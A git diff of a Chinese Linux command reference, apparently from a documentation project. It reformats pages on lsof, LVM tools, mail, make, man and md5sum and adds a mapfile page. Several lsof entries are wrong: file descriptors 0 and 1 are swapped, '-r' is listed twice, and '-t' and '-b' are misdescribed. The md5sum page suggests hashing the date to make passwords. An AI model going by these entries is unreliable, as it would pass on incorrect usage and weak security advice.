--v:显示版本信息。 +-v:显示版本信息 ``` ### 实例 -``` +```shell lsof command PID USER FD type DEVICE SIZE NODE NAME init 1 root cwd DIR 8,2 4096 2 / @@ -64,79 +64,192 @@ events/0 6 root txt unknown /proc events/1 7 root cwd DIR 8,2 4096 2 / ``` - **lsof输出各列信息的意义如下:** +**lsof输出各列信息的意义如下:** -* COMMAND:进程的名称 -* PID:进程标识符 -* PPID:父进程标识符(需要指定-R参数) -* USER:进程所有者 -* PGID:进程所属组 -* FD:文件描述符,应用程序通过文件描述符识别该文件。 +标识 | 说明 +:- | :- +`COMMAND` | 进程的名称 +`PID` | 进程标识符 +`PPID` | 父进程标识符(需要指定-R参数) +`USER` | 进程所有者 +`PGID` | 进程所属组 +`FD` | 文件描述符,应用程序通过它识别该文件 文件描述符列表: -1. cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改 -2. txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序 -3. lnn:library references (AIX); -4. er:FD information error (see NAME column); -5. jld:jail directory (FreeBSD); -6. ltx:shared library text (code and data); -7. mxx :hex memory-mapped type number xx. -8. m86:DOS Merge mapped file; -9. mem:memory-mapped file; -10. mmap:memory-mapped device; -11. pd:parent directory; -12. rtd:root directory; -13. tr:kernel trace file (OpenBSD); -14. v86  VP/ix mapped file; -15. 0:表示标准输出 -16. 1:表示标准输入 -17. 2:表示标准错误 +标识 | 说明 +:- | :- +`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改 +`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序 +`lnn` | 库引用 (AIX); +`er` | FD 信息错误(参见名称栏) +`jld` | jail 目录 (FreeBSD); +`ltx` | 共享库文本(代码和数据) +`mxx` | 十六进制内存映射类型编号xx +`m86` | DOS合并映射文件 +`mem` | 内存映射文件 +`mmap` | 内存映射设备 +`pd` | 父目录 +`rtd` | 根目录 +`tr` | 内核跟踪文件 (OpenBSD) +`v86` | VP/ix 映射文件 +`0` | 表示标准输出 +`1` | 表示标准输入 +`2` | 表示标准错误 一般在标准输出、标准错误、标准输入后还跟着文件状态模式: -1. u:表示该文件被打开并处于读取/写入模式。 -2. r:表示该文件被打开并处于只读模式。 -3. w:表示该文件被打开并处于。 -4. 空格:表示该文件的状态模式为unknow,且没有锁定。 -5. -:表示该文件的状态模式为unknow,且被锁定。 +标识 | 说明 +:- | :- +`u` | 表示该文件被打开并处于读取/写入模式 +`r` | 表示该文件被打开并处于只读模式 +`w` | 表示该文件被打开并处于写入模式 +`空格` | 表示该文件的状态模式为 unknow,且没有锁定 +`-` | 表示该文件的状态模式为 unknow,且被锁定 同时在文件状态模式后面,还跟着相关的锁: -1. N:for a Solaris NFS lock of unknown type; -2. r:for read lock on part of the file; -3. R:for a read lock on the entire file; -4. w:for a write lock on part of the file;(文件的部分写锁) -5. W:for a write lock on the entire file;(整个文件的写锁) -6. u:for a read and write lock of any length; -7. U:for a lock of unknown type; -8. x:for an SCO OpenServer Xenix lock on part      of the file; -9. X:for an SCO OpenServer Xenix lock on the      entire file; -10. space:if there is no lock. - -文件类型: - -1. DIR:表示目录。 -2. CHR:表示字符类型。 -3. BLK:块设备类型。 -4. UNIX: UNIX 域套接字。 -5. FIFO:先进先出 (FIFO) 队列。 -6. IPv4:网际协议 (IP) 套接字。 -7. DEVICE:指定磁盘的名称 -8. SIZE:文件的大小 -9. NODE:索引节点(文件在磁盘上的标识) -10. NAME:打开文件的确切名称 +标识 | 说明 +:- | :- +`N` | 对于未知类型的Solaris NFS锁 +`r` | 用于部分文件的读取锁定 +`R` | 对整个文件进行读取锁定 +`w` | 对文件的一部分进行写锁定(文件的部分写锁) +`W` | 对整个文件进行写锁定(整个文件的写锁) +`u` | 用于任何长度的读写锁 +`U` | 对于未知类型的锁 +`x` | 对于文件部分的SCO OpenServer Xenix锁 +`X` | 对于整个文件的SCO OpenServer Xenix锁 +`space` | 如果没有锁 + + +**文件类型** + +标识 | 说明 +:- | :- +`DIR` | 表示目录 +`CHR` | 表示字符类型 +`BLK` | 块设备类型 +`UNIX` | UNIX 域套接字 +`FIFO` | 先进先出 (FIFO) 队列 +`IPv4` | 网际协议 (IP) 套接字 +`DEVICE` | 指定磁盘的名称 +`SIZE` | 文件的大小 +`NODE` | 索引节点(文件在磁盘上的标识) +`NAME` | 打开文件的确切名称 +`REG` | 常规文件 列出指定进程号所打开的文件: -``` +```shell lsof -p $pid ``` 获取端口对应的进程ID=>pid -``` +```shell lsof -i:9981 -P -t -sTCP:LISTEN ``` - +列出打开文件的进程: + +```shell +lsof $filename +``` + +查看端口占用 +```shell +lsof -i:$port +``` + +**查看所有打开的文件:** + +``` +lsof +``` + +**查看指定进程打开的文件:** + +``` +lsof -p +``` + +**查看指定用户打开的文件:** + +``` +lsof -u +``` + +**查看指定文件名相关的进程:** + +``` +lsof +``` + +**查看网络连接相关的进程:** + +``` +lsof -i +``` + +**查看指定端口相关的进程:** + +``` +lsof -i : +``` + +**查看正在使用某个目录的进程:** + +``` +lsof +D /path/to/directory +``` + +**查看被删除但仍然被某个进程打开的文件:** + +``` +lsof -u +L1 +``` + +**查看某个文件系统上被打开的文件:** + +``` +lsof /mountpoint +``` + +**以列表形式显示结果:** + +``` +lsof -F +``` + +**显示结果中不包含主机名:** + +``` +lsof -n +``` + +**显示结果中不包含进程路径:** + +``` +lsof -b +``` + +**以逆序显示结果:** + +``` +lsof -r +``` + +**以特定间隔时间循环显示结果:** + +``` +lsof -r +``` + +**以持续模式显示结果:** + +``` +lsof -t +``` + + diff --git a/command/lspci.md b/command/lspci.md index 491aa124ab2..e1fe2745bd6 100644 --- a/command/lspci.md +++ b/command/lspci.md @@ -1,21 +1,21 @@ lspci === - + 显示当前主机的所有PCI总线信息 ## 补充说明 **lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。 -### 语法 +### 语法 -``` +```shell lspci(选项) ``` -### 选项 +### 选项 -``` +```shell -n:以数字方式显示PCI厂商和设备代码; -t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接; -b:以总线为中心的视图; @@ -25,9 +25,9 @@ lspci(选项) -m:以机器可读方式显示PCI设备信息。 ``` -### 实例 +### 实例 -``` +```shell [root@localhost ~]# lspci 00:00.0 host bridge: Intel Corporation 5500 I/O Hub to ESI Port (rev 22) 00:01.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 1 (rev 22) @@ -77,4 +77,3 @@ lspci(选项) ``` - \ No newline at end of file diff --git a/command/lsusb.md b/command/lsusb.md index 2b7519a48ca..a3bdbc9e9fe 100644 --- a/command/lsusb.md +++ b/command/lsusb.md @@ -1,6 +1,6 @@ lsusb === - + 显示本机的USB设备列表信息 ## 补充说明 @@ -9,15 +9,15 @@ lsusb lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大家使用,如果您的开发板中或者产品中没有lsusb命令可以自己移植一个,放到文件系统里面。 -### 语法 +### 语法 -``` +```shell lsusb(选项) ``` -### 选项 +### 选项 -``` +```shell -v:显示USB设备的详细信息; -s<总线:设备号>仅显示指定的总线和(或)设备号的设备; -d<厂商:产品>:仅显示指定厂商和产品编号的设备; @@ -25,11 +25,11 @@ lsusb(选项) -V:显示命令的版本信息。 ``` -### 实例 +### 实例 插入usb鼠标后执行lsusb的输出内容如下: -``` +```shell Bus 005 Device 001: id 0000:0000 Bus 001 Device 001: ID 0000:0000 Bus 004 Device 001: ID 0000:0000 @@ -48,7 +48,7 @@ Bus 002 Device 001: ID 0000:0000 表示系统给usb鼠标分配的设备号(devnum),同时也可以看到该鼠标是插入到了第二个usb主控制器 -``` +```shell 006 usb_device.devnum /sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/devnum ``` @@ -57,7 +57,7 @@ Bus 002 Device 001: ID 0000:0000 表示usb设备的ID(这个ID由芯片制造商设置,可以唯一表示该设备) -``` +```shell 15d9 usb_device_descriptor.idVendor 0a37 usb_device_descriptor.idProduct /sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/idVendor @@ -68,8 +68,7 @@ Bus 002 Device 001: ID 0000:0000** 表示002号usb主控制器上接入了两个设备: -* 一个是usb根Hub -- 001  -* 一个是usb鼠标  -- 006 +* 一个是usb根Hub -- 001  +* 一个是usb鼠标  -- 006 - \ No newline at end of file diff --git a/command/ltrace.md b/command/ltrace.md index 10709468741..8be8fc41ca4 100644 --- a/command/ltrace.md +++ b/command/ltrace.md @@ -1,21 +1,21 @@ ltrace === - + 用来跟踪进程调用库函数的情况 ## 补充说明 **ltrace命令** 是用来跟踪进程调用库函数的情况。 -### 语法 +### 语法 -``` +```shell ltrace [option ...] [command [arg ...]] ``` -### 选项 +### 选项 -``` +```shell -a 对齐具体某个列的返回值。 -c 计算时间和调用,并在程序退出时打印摘要。 -C 解码低级别名称(内核级)为用户级名称。 @@ -39,11 +39,11 @@ ltrace [option ...] [command [arg ...]] -x NAME treat the global NAME like a library subroutine.(求翻译) ``` -### 实例 +### 实例 最基本应用,不带任何参数: -``` +```shell [guest@localhost tmp]$ ltrace ./a.out __libc_start_main(0x80484aa, 1, 0xbfc07744, 0x8048550, 0x8048540 printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 @@ -55,7 +55,7 @@ printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 输出调用时间开销: -``` +```shell [guest@localhost tmp]$ ltrace -T ./a.out __libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540 printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972> @@ -67,7 +67,7 @@ printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.0001 显示系统调用: -``` +```shell [guest@localhost tmp]$ ltrace -S ./a.out SYS_brk(NULL) = 0x9e20000 SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0 @@ -85,4 +85,3 @@ SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000 ``` - \ No newline at end of file diff --git a/command/lvcreate.md b/command/lvcreate.md index 1993c5e4431..71c5cb5ef76 100644 --- a/command/lvcreate.md +++ b/command/lvcreate.md @@ -1,44 +1,44 @@ lvcreate === - + 用于创建LVM的逻辑卷 ## 补充说明 **lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。 -### 语法 +### 语法 -``` +```shell lvcreate(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell +-n: 指定逻辑卷的名称 -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要创建的逻辑卷名称。 -### 实例 +### 实例 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令: -``` -[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷 +```shell +[root@localhost ~]# lvcreate -L 200M -n lvol0 vg1000 #创建大小为200M的逻辑卷 ``` 输出信息如下: -``` +```shell Logical volume "lvol0" created ``` 说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。 - \ No newline at end of file diff --git a/command/lvdisplay.md b/command/lvdisplay.md index 73267b139e1..f5719481614 100644 --- a/command/lvdisplay.md +++ b/command/lvdisplay.md @@ -1,33 +1,33 @@ lvdisplay === - + 显示逻辑卷属性 ## 补充说明 **lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。 -### 语法 +### 语法 -``` +```shell lvdisplay(参数) ``` -### 参数 +### 参数 逻辑卷:指定要显示属性的逻辑卷对应的设备文件。 -### 实例 +### 实例 使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# lvdisplay /dev/vg1000/lvol0 #显示逻辑卷属性 ``` 输出信息如下: -``` +```shell --- Logical volume --- LV Name /dev/vg1000/lvol0 ......省略部分输出内容...... @@ -35,4 +35,3 @@ lvdisplay(参数) ``` - \ No newline at end of file diff --git a/command/lvextend.md b/command/lvextend.md index b74537e9c60..19043b19994 100644 --- a/command/lvextend.md +++ b/command/lvextend.md @@ -1,43 +1,42 @@ lvextend === - + 扩展逻辑卷空间 ## 补充说明 **lvextend命令** 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。 -### 语法 +### 语法 -``` +```shell lvextend(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要扩展空间的逻辑卷。 -### 实例 +### 实例 使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# lvextend -L +100M /dev/vg1000/lvol0 #为了解决增加100M空间 ``` 输出信息如下: -``` +```shell Extending logical volume lvol0 to 300.00 MB Logical volume lvol0 successfully resized ``` - \ No newline at end of file diff --git a/command/lvreduce.md b/command/lvreduce.md index c5396e47650..98d13f597d4 100644 --- a/command/lvreduce.md +++ b/command/lvreduce.md @@ -1,40 +1,40 @@ lvreduce === - + 收缩逻辑卷空间 ## 补充说明 **lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。 -### 语法 +### 语法 -``` +```shell lvreduce(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要操作的逻辑卷对应的设备文件。 -### 实例 +### 实例 使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# lvreduce -L -50M /dev/vg1000/lvol0 #将逻辑卷的空间大小减少50M ``` 输出信息如下: -``` +```shell ......省略部分输出内容...... Do you really want to reduce lvol0? [y/n]: y #确认操作 Reducing logical volume lvol0 to 252.00 MB @@ -42,4 +42,3 @@ Do you really want to reduce lvol0? [y/n]: y #确认操作 ``` - \ No newline at end of file diff --git a/command/lvremove.md b/command/lvremove.md index 44664061554..3bce482d1b4 100644 --- a/command/lvremove.md +++ b/command/lvremove.md @@ -1,43 +1,42 @@ lvremove === - + 删除指定LVM逻辑卷 ## 补充说明 **lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。 -### 语法 +### 语法 -``` +```shell lvremove(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:强制删除。 ``` -### 参数 +### 参数 逻辑卷:指定要删除的逻辑卷。 -### 实例 +### 实例 使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# lvremove /dev/vg1000/lvol0 #删除逻辑卷"lvol0" ``` 输出信息如下: -``` +```shell Do you really want to remove active logical volume "lvol0"? [y/n]: y #确认删除 Logical volume "lvol0" successfully removed ``` - \ No newline at end of file diff --git a/command/lvresize.md b/command/lvresize.md index dc95c8017f5..85f00560dea 100644 --- a/command/lvresize.md +++ b/command/lvresize.md @@ -1,43 +1,42 @@ lvresize === - + 调整逻辑卷空间大小 ## 补充说明 **lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。 -### 语法 +### 语法 -``` +```shell lvresize(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要删除的逻辑卷。 -### 实例 +### 实例 使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# lvresize -L +200M /dev/vg1000/lvol0 #将逻辑卷空间增加200M ``` 输出信息如下: -``` +```shell Extending logical volume lvol0 to 280.00 MB Logical volume lvol0 successfully resized ``` - \ No newline at end of file diff --git a/command/lvscan.md b/command/lvscan.md index 22edb447a7e..8020bcbecc7 100644 --- a/command/lvscan.md +++ b/command/lvscan.md @@ -1,37 +1,36 @@ lvscan === - + 扫描逻辑卷 ## 补充说明 **lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。 -### 语法 +### 语法 -``` +```shell lvscan(选项) ``` -### 选项 +### 选项 -``` +```shell -b:显示逻辑卷的主设备和次设备号。 ``` -### 实例 +### 实例 使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# lvscan #扫描所有的逻辑卷 ``` 输出信息如下: -``` +```shell ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit ``` - \ No newline at end of file diff --git a/command/lynx.md b/command/lynx.md index 535d8c23b70..453839f0890 100644 --- a/command/lynx.md +++ b/command/lynx.md @@ -1,21 +1,21 @@ lynx === - + 纯文本模式的网页浏览器 ## 补充说明 **lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。 -### 语法 +### 语法 -``` +```shell lynx(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -case:在搜索字符串时,区分大小写; -ftp:关闭ftp功能; -nobrowse:关闭目录浏览功能; @@ -26,7 +26,7 @@ lynx(选项)(参数) --versiom:显示指令的版本信息。 ``` -### 参数 +### 参数 URL:指定要访问的网站的URL地址。 @@ -34,7 +34,7 @@ URL:指定要访问的网站的URL地址。 **移动命令** -``` +```shell 下方向键:页面上的下一个链接(用高亮度显示)。 上方向键:页面上的前一个链接(用高亮度显示)。 回车和右方向键:跳转到链接指向的地址。 @@ -43,7 +43,7 @@ URL:指定要访问的网站的URL地址。 **滚动命令** -``` +```shell +、Page-Down、Space、Ctrl+f:向下翻页。 -、Page-Up、b、Ctrl+b:向上翻页。 Ctrl+a:移动到当前页的最前面。 @@ -57,7 +57,7 @@ Ctrl+p:往回翻两行。 **文件操作命令** -``` +```shell c:建立一个新文件。 d:下载选中的文件。 E:编辑选中的文件。 @@ -70,7 +70,7 @@ u:上载一个文件到当前目录。 **其他命令** -``` +```shell ?、h:帮助。 a:把当前链接加入到一个书签文件里。 c:向页面的拥有者发送意见或建议。 @@ -113,4 +113,3 @@ Ctrl+k:调用 Cookie Jar 页。 ``` - \ No newline at end of file diff --git a/command/mail.md b/command/mail.md index 8323adcfa5d..33abae88f7a 100644 --- a/command/mail.md +++ b/command/mail.md @@ -1,21 +1,21 @@ mail === - + 命令行下发送和接收电子邮件 ## 补充说明 **mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。 -### 语法 +### 语法 -``` +```shell mail(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b<地址>:指定密件副本的收信人地址; -c<地址>:指定副本的收信人地址; -f<邮件文件>:读取指定邮件文件中的邮件; @@ -28,15 +28,15 @@ mail(选项)(参数) -v:执行时,显示详细的信息。 ``` -### 参数 +### 参数 邮件地址:收信人的电子邮箱地址。 -### 实例 +### 实例 **直接使用shell当编辑器** -``` +```shell mail -s "Hello from jsdig.com by shell" admin@jsdig.com hello,this is the content of mail. welcome to www.jsdig.com @@ -46,7 +46,7 @@ welcome to www.jsdig.com **使用管道进行邮件发送** -``` +```shell echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com ``` @@ -54,7 +54,7 @@ echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hel **使用文件进行邮件发送** -``` +```shell mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt ``` @@ -64,7 +64,7 @@ mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt 因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令: -``` +```shell mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com \ No newline at end of file diff --git a/command/mailq.md b/command/mailq.md index f628b354311..98a5ac58fe1 100644 --- a/command/mailq.md +++ b/command/mailq.md @@ -1,31 +1,30 @@ mailq === - + 显示待发送的邮件队列 ## 补充说明 **mailq命令** 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。 -### 语法 +### 语法 -``` +```shell mailq(选项) ``` -### 选项 +### 选项 -``` +```shell -v:显示详细的信息。 ``` -### 实例 +### 实例 -``` +```shell [root@localhost ~]# mailq -v /var/spool/mqueue is empty Total requests: 0 ``` - \ No newline at end of file diff --git a/command/mailstat.md b/command/mailstat.md index a4de3c9fd18..fd193ce0033 100644 --- a/command/mailstat.md +++ b/command/mailstat.md @@ -1,21 +1,21 @@ mailstat === - + 显示到达的邮件状态 ## 补充说明 **mailstat命令** 用来显示到达的邮件状态。 -### 语法 +### 语法 -``` +```shell mailstat(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -k:保持邮件日志文件的完整性,不清空日志文件; -l:使用长格式显示邮件状态; -m:合并任何错误信息到一行中显示; @@ -24,9 +24,8 @@ mailstat(选项)(参数) -s:如果没有邮件则不输出任何信息。 ``` -### 参数 +### 参数 邮件日志文件:指定要读取邮件日志文件。 - \ No newline at end of file diff --git a/command/make.md b/command/make.md index 059af48a8f5..a36646ff805 100644 --- a/command/make.md +++ b/command/make.md @@ -1,21 +1,21 @@ make === - + GNU的工程化编译工具 ## 补充说明 -**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码问价,以实现工程化的管理,提高开发效率。 +**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码文件,以实现工程化的管理,提高开发效率。 -### 语法 +### 语法 -``` +```shell make(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:指定“makefile”文件; -i:忽略命令执行返回的出错信息; -s:沉默模式,在执行之前不输出相应的命令行信息; @@ -29,18 +29,18 @@ make(选项)(参数) Linux下常用选项与Unix系统中稍有不同,下面是不同的部分: -``` +```shell -c dir:在读取 makefile 之前改变到指定的目录dir; -I dir:当包含其他 makefile文件时,利用该选项指定搜索目录; -h:help文挡,显示所有的make选项; -w:在处理 makefile 之前和之后,都显示工作目录。 ``` -### 参数 +### 参数 目标:指定编译目标。 -### 知识扩展 +### 知识扩展 无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。 @@ -49,4 +49,4 @@ Linux下常用选项与Unix系统中稍有不同,下面是不同的部分: 因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。 - \ No newline at end of file + diff --git a/command/man.md b/command/man.md index 02ae2b9cf1b..1508077ece6 100644 --- a/command/man.md +++ b/command/man.md @@ -7,29 +7,29 @@ man **man命令** 是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。 -### 语法 +### 语法 -``` +```shell man(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:在所有的man帮助手册中搜索; -f:等价于whatis指令,显示给定关键字的简短描述信息; -P:指定内容时使用分页程序; -M:指定man手册搜索的路径。 ``` -### 参数 +### 参数 * 数字:指定从哪本man手册中搜索帮助; * 关键字:指定要搜索帮助的关键字。 ### 数字代表内容 -``` +```shell 1:用户在shell环境可操作的命令或执行文件; 2:系统内核可调用的函数与工具等 3:一些常用的函数(function)与函数库(library),大部分为C的函数库(libc) @@ -41,23 +41,30 @@ man(选项)(参数) 9:跟kernel有关的文件 ``` -### 实例 +### 实例 我们输入`man ls`,它会在最左上角显示“LS(1)”,在这里,“LS”表示手册名称,而“(1)”表示该手册位于第一节章,同样,我们输`man ifconfig`它会在最左上角显示“IFCONFIG(8)”。也可以这样输入命令:“man [章节号] 手册名称”。 man是按照手册的章节号的顺序进行搜索的,比如: -``` +```shell man sleep ``` 只会显示sleep命令的手册,如果想查看库函数sleep,就要输入: -``` +```shell man 3 sleep ``` +### 相关命令 + +* `tldr`: 简化版的使用手册,并不会像man一样把所有的使用参数和说明都列出来,而是只显示常用的几个使用Sample和说明 + * 开源地址: [https://github.com/tldr-pages/tldr/](https://github.com/tldr-pages/tldr/) + * 官网: [https://tldr.sh/](https://tldr.sh/) + * 在线版本: [https://tldr.ostera.io/](https://tldr.ostera.io/) + + - diff --git a/command/mapfile.md b/command/mapfile.md new file mode 100644 index 00000000000..27007015b5f --- /dev/null +++ b/command/mapfile.md @@ -0,0 +1,84 @@ +mapfile +=== + +从标准输入读取行并赋值到数组。 + +## 概要 + +```shell +mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] +``` + +## 主要用途 + +- 从标准输入或文件描述符读取行并赋值到数组。 + + +## 选项 + +```shell +-d delim 将delim设为行分隔符,代替默认的换行符。 +-n count 从标准输入中获取最多count行,如果count为零那么获取全部。 +-O origin 从数组下标为origin的位置开始赋值,默认的下标为0。 +-s count 跳过对前count行的读取。 +-t 读取时移除行分隔符delim(默认为换行符)。 +-u fd 从文件描述符fd中读取。 +-C callback 每当读取了quantum行时,调用callback语句。 +-c quantum 设定读取的行数为quantum。 + +如果使用-C时没有同时使用-c指定quantum的值,那么quantum默认为5000。 +当callback语句执行时,将数组下一个要赋值的下标以及读取的行作为额外的参数传递给callback语句。 +如果使用-O时没有提供起始位置,那么mapfile会在实际赋值之前清空该数组。 +``` + +## 参数 + +array(可选):用于输出的数组名称。如果没有指定数组名称,那么会默认写入到变量名为MAPFILE的数组中。 + +## 返回值 + +返回成功除非使用了非法选项、指定的数组是只读的、指定的数组不是下标数组。 + +## 例子 + +```shell +# 常见的读取形式。 +mapfile < source_file target_array +cat source_file |mapfile target_array +mapfile -u fd target_array + +# 只读取前5行。 +mapfile < source_file -n 5 target_array + +# 跳过前5行。 +mapfile < source_file -s 5 target_array + +# 在数组指定的下标开始赋值。 +# 请注意:这样做不会清空该数组。 +mapfile < source_file -O 2 target_array + +# 读取时设定行分隔符为tab。 +# 注意,第二行的tab在终端需要用ctrl+v tab输入; +mapfile < source_file -d $'\t' target_array +mapfile < source_file -d ' ' target_array + +# 读取时移除行分隔符(tab)。 +mapfile < source_file -d $'\t' -t target_array +# 读取时移除行分隔符(换行符)。 +mapfile < source_file -t target_array + +# 每读取2行,执行一次语句(在这里是echo)。 +mapfile < source_file -C "echo CALLBACK:" -c 2 target_array + +# 遍历下标,依次显示数组的元素。 +for i in ${!target_array[@]}; do + printf "%s" ${target_array[i]} +done +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 +2. bash内建命令readarray是mapfile的同义词。 + + diff --git a/command/md5sum.md b/command/md5sum.md index ea9197a6971..74af7746081 100644 --- a/command/md5sum.md +++ b/command/md5sum.md @@ -9,15 +9,15 @@ md5sum MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(十六进制长度就是32位)的“指纹”(或称“报文摘要”),不同的文件产生相同的报文摘要的可能性是非常非常之小的。 -### 语法 +### 语法 -``` +```shell md5sum(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b:二进制模式读取文件; -t或--text:把输入的文件作为文本文件看待; -c:从指定文件中读取MD5校验和,并进行校验; @@ -25,7 +25,7 @@ md5sum(选项)(参数) -w:当校验不正确时给出警告信息。 ``` -### 参数 +### 参数 文件:指定保存着文件名和校验和的文本文件。 @@ -35,14 +35,14 @@ md5sum(选项)(参数) 另一种获取可用作密码的随机字符串的方法是计算 MD5 校验值!校验值看起来确实像是随机字符串组合在一起,我们可以用作密码。确保你的计算源是个变量,这样的话每次运行命令时生成的校验值都不一样。比如 date !date 命令 总会生成不同的输出。 -``` +```shell [root@localhost ~]# date | md5sum 6a43f2c246cdc3e6a3592652f831d186 - ``` **生成一个文件insert.sql的md5值:** -``` +```shell [root@localhost ~]# md5sum insert.sql bcda6cb5c704664f989703ac5a88f112 insert.sql ``` @@ -51,19 +51,19 @@ bcda6cb5c704664f989703ac5a88f112 insert.sql 首先生成md5文件: -``` +```shell md5sum testfile > testfile.md5 ``` 检查: -``` +```shell md5sum testfile -c testfile.md5 ``` 如果文件没有变化,输出应该如下: -``` +```shell forsort: OK ``` @@ -71,7 +71,7 @@ forsort: OK 如果文件发生了变化,输出应该如下: -``` +```shell forsort: FAILED md5sum: WARNING: 1 of 1 computed checksum did NOT match ``` @@ -82,13 +82,13 @@ md5sum: WARNING: 1 of 1 computed checksum did NOT match 